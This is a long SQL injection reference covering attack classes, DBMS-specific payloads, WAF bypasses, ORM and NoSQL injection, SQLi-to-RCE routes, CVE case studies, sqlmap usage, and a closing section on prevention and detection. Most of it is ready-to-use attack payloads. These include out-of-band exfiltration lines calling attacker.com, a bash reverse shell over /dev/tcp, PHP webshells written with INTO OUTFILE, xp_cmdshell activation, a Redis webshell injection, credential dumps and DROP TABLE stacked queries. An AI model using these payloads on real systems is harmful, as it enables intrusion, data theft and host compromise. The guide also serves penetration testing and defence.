Comprehensive SQL Injection Guide#
A practitioner’s reference for SQL Injection — attack classes, exploitation techniques, database-specific payloads, WAF bypass methods, ORM/NoSQL variants, real-world CVEs, and detection/prevention. Compiled from 33 research sources.
Table of Contents#
- Fundamentals
- Attack Classes
- Entry Points & Injection Contexts
- DBMS Fingerprinting
- Authentication Bypass
- Union-Based Injection
- Error-Based Injection
- Boolean Blind Injection
- Time-Based Blind Injection
- Out-of-Band (OOB) Injection
- Second-Order SQL Injection
- Stacked Queries & Polyglots
- WAF Bypass Techniques
- Database-Specific Payloads
- ORM Injection
- NoSQL Injection
- SQLi to RCE
- Header, Cookie & JSON-Body Injection
- Constraint-Based Attacks
- Real-World CVEs
- Tools & Automation
- Detection & Prevention
- Payload Quick Reference
1. Fundamentals#
SQL Injection (SQLi) occurs when an attacker can influence the SQL statements that an application sends to its database. The vulnerability arises from the unsafe concatenation of untrusted input into a query string, allowing the attacker to break out of the intended data context and execute attacker-controlled SQL. SQLi has sat in the OWASP Top Ten since its inception and remains one of the highest-impact classes of web vulnerability despite decades of awareness.
Impact spectrum: Authentication bypass -> data disclosure -> data modification -> privilege escalation -> file read/write on the DB host -> remote code execution -> full host/network compromise.
Why SQLi persists:
- Dynamic query construction via string concatenation/format-string interpolation.
- ORMs that expose raw-SQL escape hatches (
.raw(),.extra(),@Query(nativeQuery=true)). - Second-order flows where stored data is reused unsafely in later queries.
- Exotic input contexts (JSON bodies, headers, XML, ORDER BY clauses) not covered by parameter binding or WAF rules.
- Developer overreliance on WAFs and blacklist-style sanitization.
Root cause, plain:
-- Vulnerable: user input becomes part of the query grammar
query = "SELECT * FROM users WHERE username='" + input + "'";
-- Safe: user input is a bound parameter, never grammar
cursor.execute("SELECT * FROM users WHERE username = %s", (input,))
2. Attack Classes#
| Class | Sub-class | Channel | Prereq |
|---|---|---|---|
| In-band | Union-based | Same HTTP response | Query result is reflected |
| In-band | Error-based | Same HTTP response | DB errors surfaced |
| Inferential (Blind) | Boolean-based | Response diff | Distinguishable true/false response |
| Inferential (Blind) | Time-based | Response timing | DB supports sleep/benchmark primitive |
| Out-of-band | DNS/HTTP OAST | External channel | DB can make outbound requests |
| Stacked | Multi-statement | Same response | Driver allows ; batching |
| Second-order | Stored-then-used | Later query | Data persisted and reused in raw SQL |
Choosing a class in the field:
- Test for reflection and errors first. If you can see output, prefer union or error-based for speed.
- If responses differ only in content, pursue boolean blind.
- If responses are identical, fall back to time-based.
- If egress is allowed and timing is unstable, prefer OOB.
3. Entry Points & Injection Contexts#
Parameter locations#
| Location | Notes |
|---|---|
| GET query string | Classic; ?id=1, ?page=, ?sort= |
| POST body (form) | Login forms, search, filters |
| POST body (JSON) | Often bypasses legacy WAF rules |
| POST body (XML/SOAP) | Legacy enterprise surface |
| HTTP headers | User-Agent, Referer, X-Forwarded-For, X-Real-IP in log-writing apps |
| Cookies | Session IDs, preferences, tracking |
| ORDER BY / column names | Cannot be parameterized in most drivers |
| LIMIT / OFFSET | MySQL-specific injection primitives |
| INSERT VALUES | Batch inserts, audit logs |
| LIKE clauses | Watch for wildcard escaping bugs |
Context-aware quoting#
| Context | Terminator example |
|---|---|
| Single-quoted string | ' OR '1'='1 |
| Double-quoted string | " OR "1"="1 |
| Numeric | 1 OR 1=1 |
| Parenthesised | 1) OR (1=1 |
| Backtick (MySQL identifier) | ` OR `1`=`1 |
| LIKE | %' OR '1'='1 |
Special character detection payloads#
' " ` \ ; -- # /*
%27 %22 %60 %5C %3B %2D%2D
%%2727 %25%27 (double-URL-encoded)
U+02BA U+02B9 (unicode modifier-quote tricks)
4. DBMS Fingerprinting#
Keyword-based oracles#
| DBMS | Oracle payload |
|---|---|
| MySQL | connection_id()=connection_id() |
| MySQL | crc32('MySQL')=crc32('MySQL') |
| MSSQL | @@CONNECTIONS=@@CONNECTIONS |
| MSSQL | BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123) |
| Oracle | ROWNUM=ROWNUM |
| Oracle | LNNVL(0=123) |
| PostgreSQL | 5::int=5 |
| PostgreSQL | pg_client_encoding()=pg_client_encoding() |
| SQLite | sqlite_version()=sqlite_version() |
| SQLite | last_insert_rowid()=last_insert_rowid() |
| MS Access | val(cvar(1))=1 |
Error-message fingerprints#
| DBMS | Distinctive string |
|---|---|
| MySQL | You have an error in your SQL syntax |
| PostgreSQL | ERROR: unterminated quoted string |
| MSSQL | Unclosed quotation mark after the character string |
| MSSQL | Incorrect syntax near |
| Oracle | ORA-00933 / ORA-01756 / ORA-00923 |
| SQLite | SQLite error: near |
Version extraction#
MySQL SELECT @@version / VERSION()
PostgreSQL SELECT version()
MSSQL SELECT @@VERSION
Oracle SELECT banner FROM v$version
SQLite SELECT sqlite_version()
5. Authentication Bypass#
Classical payloads for the username field:
' OR '1'='1'--
' OR 1=1 --
' OR 1=1 LIMIT 1 --
admin' --
admin' #
admin'/*
') OR ('1'='1
") OR ("1"="1
"-- / '-- (comment-out-the-rest tricks)
Empty-string both fields (via '--) often succeeds against single-query login checks.
Raw MD5 / SHA1 auth bypass#
When PHP code calls md5($password, true) and concatenates the raw-binary digest into SQL, certain inputs (e.g. ffifdyop for MD5) produce byte sequences that contain 'or' and escape the quoted context:
$sql = "SELECT * FROM admin WHERE pass='".md5($password,true)."'";
// with ffifdyop -> SELECT * FROM admin WHERE pass=''or'6<binary>'
| Hash | Input | Escape produced |
|---|---|---|
| md5 | ffifdyop | 'or' |
| md5 | 129581926211651571912466741651878684928 | 'or' |
| sha1 | 3fDf | '=' |
| sha1 | 178374 | '/* |
6. Union-Based Injection#
Two prerequisites: same number of columns in both SELECTs, and compatible types per column.
Step 1 — Column count (ORDER BY)#
1' ORDER BY 1 --
1' ORDER BY 2 --
1' ORDER BY 3 -- <-- keep going until error
Alternative: UNION SELECT NULL,NULL,NULL -- with growing NULL count.
Step 2 — Identify printable column#
-1' UNION SELECT 'a',NULL,NULL --
-1' UNION SELECT NULL,'a',NULL --
-1' UNION SELECT NULL,NULL,'a' --
Columns that accept strings will reflect a in the response.
Step 3 — Pivot to data#
-- MySQL
-1' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata --
-1' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database() --
-1' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users' --
-1' UNION SELECT username,password,NULL FROM users --
-- Concatenate multi-column exfil into one column
-1' UNION SELECT CONCAT_WS(0x3a,username,password),NULL,NULL FROM users --
-- GROUP_CONCAT dump-all trick
-1' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL FROM users --
Oracle note#
Oracle UNION SELECT requires FROM DUAL:
' UNION SELECT NULL,NULL FROM DUAL --
7. Error-Based Injection#
Useful when errors are rendered but result rows are not.
MySQL (extractvalue / updatexml)#
' AND extractvalue(1,concat(0x7e,(SELECT version()))) --
' AND updatexml(1,concat(0x7e,(SELECT user())),1) --
' OR (SELECT 1 FROM (SELECT COUNT(*),concat((SELECT version()),
floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y) --
PostgreSQL#
' AND 1=CAST((SELECT version()) AS INT) --
' AND 1=(SELECT CAST(current_user AS INT)) --
MSSQL#
' AND 1=CONVERT(INT,(SELECT @@VERSION)) --
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U')) --
Oracle#
' AND (SELECT UTL_INADDR.get_host_name((SELECT user FROM dual))) IS NOT NULL --
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual)) --
8. Boolean Blind Injection#
The response differs (text, status, length) based on a condition. Bisect character-by-character.
' AND SUBSTRING(@@version,1,1)='5' -- -- MySQL
' AND ASCII(SUBSTR((SELECT user),1,1))>77 -- -- generic
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' --
' AND (SELECT COUNT(*) FROM users WHERE username='admin')=1 --
Standard loop: binary-search ASCII for each position.
9. Time-Based Blind Injection#
Used when neither content nor errors differ. The DB is forced to stall on a true condition.
| DBMS | Sleep primitive |
|---|---|
| MySQL | SLEEP(5) / BENCHMARK(10000000,MD5(1)) |
| PostgreSQL | pg_sleep(5) |
| MSSQL | WAITFOR DELAY '0:0:5' |
| Oracle | DBMS_PIPE.RECEIVE_MESSAGE('a',5) |
| SQLite | RANDOMBLOB(100000000) (CPU burn) |
Representative payloads#
-- MySQL
' AND IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0) --
' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --
1) OR SLEEP(5) #
-- PostgreSQL
'; SELECT pg_sleep(5) --
' || (CASE WHEN (SELECT current_user)='postgres' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
-- MSSQL
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')=1 WAITFOR DELAY '0:0:5' --
-- Oracle
' AND 1=(CASE WHEN (SELECT user FROM dual)='SYS' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END) --
Tuning#
- Use multiple samples; discard outliers.
- Adjust sleep length to response-time baseline (avoid 1s sleeps on slow apps).
- Prefer
BENCHMARK/RANDOMBLOBon hosts that blockSLEEP.
10. Out-of-Band (OOB) Injection#
The DB initiates an external network request containing stolen data.
MSSQL#
'; EXEC master..xp_dirtree '\\attacker.com\'+(SELECT TOP 1 password FROM users)+'\a' --
Oracle#
-- HTTP
' || UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) || '
-- DNS
' || (SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual) || '
MySQL (Windows only)#
-- LOAD_FILE against UNC path
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\a')) --
PostgreSQL#
COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).attacker.com'
11. Second-Order SQL Injection#
The injected payload is safely stored (often via a parameterized query) but later retrieved and concatenated into a raw query. Classic scenarios:
- Register as
admin'--, then trigger the “change password” feature that buildsUPDATE users SET password='x' WHERE username='<retrieved>'. - Audit logging that formats a stored user-agent string into a SQL INSERT later.
- Report-generation batch jobs pulling stored filter strings into
EXEC sp_executesql.
Detection: store distinctive markers (z1z'"--) in every writable field and grep the DB error log after operating the full application flow. Fuzz every write endpoint, then operate every read/report path.
Prevention: parameterize on both ends — storage and use. Never assume “data from our own DB” is safe.
12. Stacked Queries & Polyglots#
Stacked#
Supported by MSSQL (most drivers) and PostgreSQL. MySQL via mysqli stacks, but PDO with PDO::ATTR_EMULATE_PREPARES often also allows it. Oracle does not stack.
'; DROP TABLE audit; --
'; INSERT INTO users(username,password) VALUES('bd','x'); --
'; EXEC xp_cmdshell 'whoami'; --
Polyglot payloads#
Single strings that are valid in multiple contexts (quote style, paren depth, comment variant):
SLEEP(1) /*'/*"/**/ or SLEEP(1) /*'or SLEEP(1) or'*/
1'"(){}[]<!--?>,;/\
13. WAF Bypass Techniques#
Encoding#
| Encoding | Example |
|---|---|
| URL | %27%20OR%201=1-- |
| Double URL | %2527%2520OR%25201=1-- |
| Unicode | %u0027 OR 1=1-- |
| Hex literals | 0x61646d696e = 'admin' |
| Char() / Chr() | CHAR(97,100,109,105,110) |
Base64 (via FROM_BASE64) | CONCAT(FROM_BASE64('YWRtaW4=')) |
Comments & whitespace#
UNION/**/SELECT
UNION/*!50000SELECT*/ (MySQL versioned)
UN/**/ION SE/**/LECT
UNION%0aSELECT (newline)
UNION%09SELECT (tab)
UNION%a0SELECT (non-breaking space)
UNION(SELECT(1),2,3) (no whitespace at all)
Case variation#
uNiOn SeLeCt
UnIoN SeLeCt null, PaSsWoRd FrOm UsErS
Keyword obfuscation (MySQL versioned comments)#
/*!50000UNION*/ /*!50000SELECT*/ 1
/*!50000%75%6e%69on*/ %73%65%6cect 1
/*!12345UnioN*//**/(/*!12345seLECT*//**/1)
Alternative syntax#
| Disallowed | Replacement |
|---|---|
| Spaces | /**/, %0a, %0b, %0c, %0d, %09, %a0, parentheses |
= | LIKE, <>, REGEXP, RLIKE, BETWEEN n AND n |
, | JOIN, FROM (SELECT 1)a JOIN (SELECT 2)b |
OR/AND | ` |
| Quotes | hex literals, CHAR(), backticks for identifiers |
UNION SELECT | UNION ALL SELECT, UNION DISTINCTROW SELECT |
Comma-less UNION#
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
JSON-based WAF bypass (Claroty Team82, 2022)#
Several major WAFs (AWS, Cloudflare, F5, Imperva, Palo Alto) historically failed to parse JSON functions. Since MySQL, PostgreSQL, MSSQL, and SQLite all natively support JSON operators, payloads such as:
' OR JSON_LENGTH('{}') <= 8896 UNION DISTINCTROW SELECT @@version #
…pass the signature filter while still executing as SQL. Rotate through JSON_OBJECT(), JSON_VALUE(), JSON_EXTRACT(), ->, ->>, JSON_KEYS(), JSON_ARRAY() when a vendor blocks one.
Parameter pollution#
?id=1&id=' UNION SELECT 1,2,3--
Different stacks concatenate, take first, or take last — behaviour mismatch between the WAF and the app is the bypass.
HTTP parameter nesting for frameworks#
?filter[user][$where]=... (Node/Express/Mongo)
?user[name][]=admin'-- (PHP array folding)
14. Database-Specific Payloads#
14.1 MySQL / MariaDB#
-- Version / user / DB
SELECT @@version, @@hostname, @@datadir, @@basedir, user(), database();
-- Schemas / tables / columns
SELECT schema_name FROM information_schema.schemata;
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
SELECT column_name FROM information_schema.columns WHERE table_name='users';
-- Dump creds
SELECT user,authentication_string FROM mysql.user;
-- File read
SELECT LOAD_FILE('/etc/passwd');
-- File write (INTO OUTFILE)
SELECT '<?php system($_GET[c]); ?>' INTO OUTFILE '/var/www/html/s.php';
-- Sleep
SELECT SLEEP(5); BENCHMARK(10000000,MD5('x'));
-- No-quote strings
0x61646d696e -- hex 'admin'
CHAR(97,100,109,105,110)
14.2 PostgreSQL#
-- Version / user / DB
SELECT version(), current_user, current_database(), inet_server_addr();
-- Schemas
SELECT datname FROM pg_database;
SELECT table_name FROM information_schema.tables;
-- Dump creds
SELECT usename, passwd FROM pg_shadow;
-- Stacked file read via COPY (requires superuser)
COPY (SELECT '') TO PROGRAM 'id > /tmp/x';
CREATE TABLE t(x text); COPY t FROM '/etc/passwd'; SELECT * FROM t;
-- Large object file read
SELECT lo_import('/etc/passwd');
-- Sleep
SELECT pg_sleep(5);
-- Concatenation
' || (SELECT current_user) || '
14.3 MSSQL#
-- Version / user / DB
SELECT @@VERSION, SYSTEM_USER, DB_NAME(), HOST_NAME();
-- Linked servers
SELECT * FROM master..sysservers;
EXEC sp_linkedservers;
-- Dump logins (requires sysadmin)
SELECT name, password_hash FROM sys.sql_logins;
-- xp_cmdshell (requires sysadmin + enable)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- OLE automation RCE (alt path)
EXEC sp_oacreate 'WScript.Shell', @shell OUT;
EXEC sp_oamethod @shell, 'Run', null, 'cmd /c calc';
-- Sleep
WAITFOR DELAY '0:0:5';
14.4 Oracle#
-- Version / user
SELECT banner FROM v$version;
SELECT user FROM dual;
SELECT global_name FROM global_name;
-- Tables
SELECT table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';
-- Sleep (no SLEEP function)
BEGIN DBMS_LOCK.SLEEP(5); END;
SELECT 1 FROM dual WHERE DBMS_PIPE.RECEIVE_MESSAGE('a',5) IS NOT NULL;
-- OOB HTTP
SELECT UTL_HTTP.REQUEST('http://attacker/'||user) FROM dual;
14.5 SQLite#
-- Version
SELECT sqlite_version();
-- Enumerate
SELECT name FROM sqlite_master WHERE type='table';
SELECT sql FROM sqlite_master WHERE type='table' AND name='users';
-- Attach external DB (RCE path on old versions)
ATTACH DATABASE '/var/www/html/x.php' AS x;
CREATE TABLE x.pwn(c TEXT);
INSERT INTO x.pwn VALUES('<?php system($_GET[c]); ?>');
-- Blind timing (no SLEEP; CPU burn)
AND 1=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(500000000))))
15. ORM Injection#
Safe-by-default ORMs still expose unsafe escape hatches. ORM injection is common in practice because developers reach for raw SQL when the ORM DSL is awkward.
15.1 Django ORM (Python)#
| API | Safe? |
|---|---|
Model.objects.filter(name=x) | Safe — parameterized |
Model.objects.raw("SELECT ... %s", [x]) | Safe if placeholders used |
Model.objects.raw(f"SELECT ... {x}") | Vulnerable |
.extra(where=["name='%s'" % x]) | Vulnerable |
.annotate(..., RawSQL("... %s", [x])) | Safe if placeholders used |
cursor.execute(f"... {x}") | Vulnerable |
QuerySet.order_by(user_input) | Unsafe if input is untrusted (column name injection) |
15.2 SQLAlchemy (Python)#
# Vulnerable
session.execute(f"SELECT * FROM users WHERE id={uid}")
session.execute(text(f"SELECT * FROM users WHERE id={uid}"))
# Safe
session.execute(text("SELECT * FROM users WHERE id=:uid"), {"uid": uid})
text() does not auto-parameterize; it is an f-string sink unless bindparams are used.
15.3 Hibernate / JPA (Java)#
| API | Safe? |
|---|---|
@Query("SELECT u FROM User u WHERE u.name=:n") | Safe |
@Query(value="SELECT * FROM users WHERE name='"+n+"'", nativeQuery=true) | Vulnerable |
entityManager.createNativeQuery(sql) with concat | Vulnerable |
| Criteria API | Safe |
HQL with positional ?1 | Safe |
Common pitfall: LIKE '%"+name+"%' in native queries.
15.4 Sequelize (Node)#
// Vulnerable
sequelize.query(`SELECT * FROM users WHERE id=${id}`)
// Safe
sequelize.query('SELECT * FROM users WHERE id=:id',
{ replacements: { id }, type: QueryTypes.SELECT })
Op.and/Op.or with raw user input as keys can also inject.
15.5 Other gotchas#
- GORM (Go):
db.Where("name="+name)is vulnerable;db.Where("name=?", name)is safe. - Eloquent (Laravel):
DB::raw(),whereRaw(),orderByRaw()are sinks. - ActiveRecord (Rails):
where("name='#{x}'"),order(x),pluck(x)are sinks. - Prisma:
$queryRawUnsafe(x); use$queryRawtagged template instead.
16. NoSQL Injection#
16.1 MongoDB — operator injection#
Classic login bypass when the app passes a parsed JSON body directly to find:
{ "username": {"$ne": null}, "password": {"$ne": null} }
{ "username": "admin", "password": {"$gt": ""} }
{ "username": {"$regex":"^a"},"password": {"$ne":null} }
URL-encoded form bodies that Express parses into objects:
username[$ne]=null&password[$ne]=null
username[$regex]=^admin&password[$ne]=null
16.2 MongoDB — $where JS injection#
{ "$where": "this.username == 'admin' && sleep(5000)" }
{ "$where": "function(){return this.pwd.match(/^a/)}" }
The $where operator runs server-side JavaScript; a successful injection yields eval primitives inside the DB.
16.3 Blind NoSQL#
username=admin&password[$regex]=^a
username=admin&password[$regex]=^b
...
Regex-based bisection of secrets one character at a time.
16.4 CouchDB#
GET /db/_all_docs?startkey="a"&endkey="z"
POST /db/_find {"selector":{"$where":"..."}}
Admin endpoints (/_config, /_users) are frequent targets when auth is misconfigured.
16.5 Redis#
Redis is not SQL but is often targeted via “command injection” when apps build Redis protocol strings with CR/LF characters:
key\r\nCONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSET x "<?php system($_GET[c]);?>"\r\nSAVE\r\n
17. SQLi to RCE#
17.1 MSSQL: xp_cmdshell#
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -enc ...';
Alternate routes when xp_cmdshell is disabled:
sp_OACreate+WScript.ShellCLR assemblyinstall (CREATE ASSEMBLY ... FROM 0x...)BULK INSERTwith UNC path for SMB hash capture
17.2 MySQL: INTO OUTFILE webshell#
Requirements: FILE privilege, secure_file_priv unset or pointing at webroot, known absolute path.
SELECT '<?php system($_GET["c"]); ?>'
INTO OUTFILE '/var/www/html/uploads/s.php';
-- Binary write for ELF/EXE
SELECT 0x7f454c46... INTO DUMPFILE '/tmp/x';
INTO DUMPFILE writes a single row without line terminators and is preferred for binaries.
17.3 MySQL: LOAD_FILE exfil#
UNION SELECT LOAD_FILE('/etc/passwd') --
UNION SELECT LOAD_FILE('/var/lib/mysql-files/secret') --
Reads are limited by secure_file_priv.
17.4 PostgreSQL: COPY … FROM PROGRAM#
-- Requires pg_read_server_files / pg_execute_server_program or superuser
CREATE TABLE cmd_exec(x text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- One-liner (no output)
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATT/443 0>&1"';
On modern hardened clusters, COPY ... PROGRAM is disabled for non-superusers; escalate via UDF load from a temp extension directory (historical CVE-2019-9193).
17.5 Oracle#
-- DBMS_SCHEDULER job
BEGIN DBMS_SCHEDULER.CREATE_JOB(
job_name => 'x', job_type => 'EXECUTABLE',
job_action=> '/bin/sh', number_of_arguments => 2,
enabled => FALSE);
...
END;
-- Java stored procedure (if Java is enabled in the DB)
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "ExecSQL" AS
import java.lang.*; import java.io.*;
public class ExecSQL { ... }
17.6 FortiWeb CVE-2025-25257 case study#
Unauthenticated SQLi in the get_fabric_user_by_token handler on the Fabric Connector component. The attacker-controlled token is concatenated into a MySQL query without sanitization. Because the mysql user had file write privileges, SELECT ... INTO OUTFILE was used to write a Python payload to a path that the appliance subsequently executed — pre-auth SQLi to RCE. Affected: FortiWeb 7.6.0-7.6.3, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.0-7.0.10. Mitigation: patch, or disable the HTTP/HTTPS admin interface.
Key takeaways:
- Legacy appliances still ship hand-rolled SQL builders in C/C++.
- Running the DB process as a privileged user on the appliance turns any SQLi into host compromise.
INTO OUTFILEremains a reliable SQLi-to-RCE primitive 20+ years on.
18. Header, Cookie & JSON-Body Injection#
18.1 Headers#
Apps that log requests into the DB via raw query concatenation are vulnerable through headers that developers do not think of as user input:
User-Agent: Mozilla/5.0 ' UNION SELECT null,@@version,null -- -
Referer: https://x.test/' OR SLEEP(5)--
X-Forwarded-For: 127.0.0.1' OR 1=1-- -
Frequent sinks: analytics inserts, audit tables, rate-limit counters keyed by IP, “last seen” updates.
18.2 Cookies#
Cookie: session=abc' UNION SELECT 1,2,3 --
Cookie: tracking_id=1; prefs=' OR 1=1 --
Watch for “resume previous session” flows that read a cookie into a WHERE clause.
18.3 JSON body#
{"id": "1 UNION SELECT null,version(),null --"}
{"filter": {"name": "' OR '1'='1"}}
{"sort": "id; DROP TABLE users--"}
Many frameworks happily deserialize arbitrary JSON types then coerce to string at the SQL sink. JSON-based SQLi is also the cornerstone of the Team82 WAF bypass described in section 13.
18.4 XML/SOAP#
<username>' OR 1=1 --</username>
18.5 Order-by / column-name context#
Parameter binding does not cover identifiers. Apps that accept ?sort=name asc commonly forward the raw string into ORDER BY. Exploit:
?sort=(CASE WHEN (SELECT SUBSTRING(version(),1,1))='8' THEN id ELSE username END)
?sort=1,(SELECT IF(...,SLEEP(5),0))
Defense: whitelist allowed column names.
19. Constraint-Based Attacks#
Not SQL injection, but frequently catalogued alongside. MySQL and SQLite silently truncate strings to the declared column length on INSERT, and pad with spaces during comparison. An attacker registering admin 1 (25+ chars) can:
- Pass the “does username exist?” SELECT (the literal string isn’t stored yet, so the comparison misses).
- Insert into the
userstable, where MySQL truncates toadmin(25 chars). - Log in with the attacker-chosen password — the login query’s comparison pads and matches the original
adminrow.
Defenses:
- Enforce
UNIQUEconstraints at the schema level — the INSERT fails regardless of code logic. - Track users by immutable
id, not username. - Validate input length on the app side to match the column limit.
- Prefer case- and whitespace-sensitive collations where identity matters.
20. Real-World CVEs#
| CVE | Product | Class | Notes |
|---|---|---|---|
| CVE-2025-25257 | Fortinet FortiWeb Fabric Connector | Unauth SQLi -> RCE | get_fabric_user_by_token, INTO OUTFILE RCE, CVSS 9.6 |
| CVE-2023-34362 | Progress MOVEit Transfer | Unauth SQLi -> RCE | Cl0p mass exploitation, stacked queries to deserialization gadget |
| CVE-2022-1388 | F5 BIG-IP iControl REST (auth bypass + SQLi path) | Multi | Combined auth bypass with SQLi in REST backend |
| CVE-2019-7192 | QNAP Photo Station | SQLi | Used by Qlocker ransomware |
| CVE-2018-7600 (Drupalgeddon2) | Drupal | RCE (form API), paired with SQLi hunt waves | Not SQLi alone but spawned SQLi variant hunts |
| CVE-2017-9841 | PHPUnit | RCE | Surface that later enabled chained SQLi-audit bypasses |
| CVE-2014-3704 (Drupalgeddon1) | Drupal 7 expandArguments | Unauth SQLi -> admin | Classic array-key injection in db_query |
Field lessons:
- Pre-auth SQLi in network appliances is still common and still the fastest path to ransomware.
- SQLi in audit/logging sinks is under-tested.
- Patch lag on appliances (weeks-to-months) makes every SQLi a long-tail incident.
21. Tools & Automation#
sqlmap#
Reference automation: DBMS fingerprinting, union/error/boolean/time/stacked/OOB, tamper scripts, file read/write, OS shell, out-of-band DNS.
# Basic
sqlmap -u "https://t/item.php?id=1"
# From a Burp request
sqlmap -r req.txt --batch --risk=3 --level=5
# JSON body injection (mark the param with *)
sqlmap -r req.txt -p id --data='{"id":"1*"}' --method=POST \
--headers="Content-Type: application/json"
# Cookie / header injection
sqlmap -u https://t/ --cookie="sess=abc*" --level=2
sqlmap -u https://t/ --headers="X-Forwarded-For: 1.1.1.1*" --level=3
# Tamper scripts (WAF bypass)
sqlmap -u ... --tamper=between,randomcase,space2comment,charencode
# Force technique
sqlmap -u ... --technique=T # T=time, B=bool, E=error, U=union, S=stacked, Q=inline
# DB enumeration
sqlmap -u ... --dbs
sqlmap -u ... -D app --tables
sqlmap -u ... -D app -T users --dump
# File / OS
sqlmap -u ... --file-read=/etc/passwd
sqlmap -u ... --file-write=s.php --file-dest=/var/www/html/s.php
sqlmap -u ... --os-shell
sqlmap -u ... --os-pwn
# Out-of-band
sqlmap -u ... --dns-domain=attacker.com
Useful target options: --data, --param-del, --skip, --union-cols, --second-url, --safe-url, --safe-freq, --drop-set-cookie, --random-agent, --proxy, --force-ssl, -p, --dbms.
ghauri#
Cross-platform SQLi tool similar in spirit to sqlmap; handles modern WAFs and odd parameter locations well, faster on time-based blind.
ghauri -u "https://t/?id=1" --dbs
ghauri -r req.txt --technique=BT --level=3 --batch
NoSQLMap#
nosqlmap
# Menu-driven; supports Mongo auth-bypass, $where injection, and cluster enumeration.
BSQLInjector#
Ruby tool for boolean blind SQLi; good when sqlmap gets stuck on a weirdly formed response diff. Supply a signature string that differentiates true/false.
Supporting#
- Burp Suite Intruder with a curated SQLi payload set (PayloadsAllTheThings is the usual source).
sqlninja(MSSQL-focused, legacy but still handy for xp_cmdshell paths).jSQL Injection(GUI, Java, supports many DBs).- Nuclei templates (
cves/,vulnerabilities/sql-injection/).
22. Detection & Prevention#
22.1 Parameterized queries (the fix)#
This is the single most important control. Every mainstream language has a safe API:
cursor.execute("SELECT * FROM users WHERE id=%s", (user_id,)) # psycopg2, PyMySQL
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM users WHERE id=?");
ps.setInt(1, userId);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
$stmt->execute([$userId]);
db.query('SELECT * FROM users WHERE id=?', [userId]);
db.QueryRow("SELECT * FROM users WHERE id=$1", userID)
Important gotchas:
- PDO with
PDO::ATTR_EMULATE_PREPARES = truestill concatenates under the hood; disable emulation on MySQL when feasible. - “Parameterized” frameworks with
query(fmt.Sprintf(...))escape hatches are still vulnerable when the hatch is used. - Identifiers (table/column names) and ORDER BY directions cannot be bound — whitelist them.
22.2 Stored procedures#
Stored procedures are only safe if they themselves use parameters internally. A stored proc that builds EXEC sp_executesql @dyn from concatenated inputs is no safer than inline SQL.
22.3 Input validation & allowlisting#
- Strict allowlist per field (numeric -> integer parse; enum -> set membership; email -> regex + length).
- Reject on fail; do not “sanitize” by replacing characters.
- Apply normalisation before validation (NFKC, case-fold for Unicode tricks).
22.4 Least privilege#
- Separate DB users per application role: read-only, write, admin.
- Never run the web DB account as root/sa/postgres.
- Revoke
FILE,xp_cmdshell,COPY PROGRAM,CREATE FUNCTION,pg_read_server_files,BULK INSERT,ALTER,DROP. - Disable stacked queries at the driver level when the app does not need them.
- Apply row-level security where the DB supports it (PostgreSQL RLS, Oracle VPD).
22.5 Error handling#
- Never expose raw DB error text to the user.
- Log the error with a correlation id; show the id.
- Do not page error banners to anonymous users.
22.6 Defense in depth#
- WAF with JSON-aware rules (post-2022 Team82 fix).
- Query allowlisting (pg_audit, MySQL Enterprise Audit, application-level query logging).
- Anomaly detection on DB user behaviour (new tables queried, off-hours COPY).
- DB firewall (Oracle DB Firewall, Imperva Gateway).
- Egress filtering — if the DB host cannot make outbound requests, OOB SQLi and
COPY TO PROGRAMreverse shells fail. secure_file_priv=NULLin MySQL killsINTO OUTFILE/LOAD_FILE.
22.7 Detection signals#
| Signal | What it catches |
|---|---|
UNION / SELECT / information_schema in parameters | Classic union-based |
SLEEP(, pg_sleep(, WAITFOR DELAY, BENCHMARK( | Time-based blind |
xp_cmdshell, sp_oa, OPENROWSET | MSSQL RCE attempts |
INTO OUTFILE, INTO DUMPFILE, LOAD_FILE | MySQL file R/W |
COPY, pg_read_server_files, lo_import | PostgreSQL file R/W |
JSON_LENGTH, JSON_EXTRACT, ->, ->> in params | JSON-based WAF bypass |
| Repeated single-char changes + response-length diff | Boolean blind bisection |
| Bursty 5-second response times from one client/IP | Time-based blind |
| DB error strings in HTTP responses | Error-based discovery |
| DB user issuing DDL in production | Post-exploitation |
22.8 Testing in CI#
- Unit tests that hit the DB with known-bad payloads and assert 400/422, not 500.
- SAST: enable SQLi sinks rules in Semgrep/CodeQL; mark every
executeRaw,.raw(),$queryRawUnsafe,DB::raw,cursor.execute(f"...")as a must-review finding. - DAST: sqlmap or Burp Scanner against staging with full auth coverage.
